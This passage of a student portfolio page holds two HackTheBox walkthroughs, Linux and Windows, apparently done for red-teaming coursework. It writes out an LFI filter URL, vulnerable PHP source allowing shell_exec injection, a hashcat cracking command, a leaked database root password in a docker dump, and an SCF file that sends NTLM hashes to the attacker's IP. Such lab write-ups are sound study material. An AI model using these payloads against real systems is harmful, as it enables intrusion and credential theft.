d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close 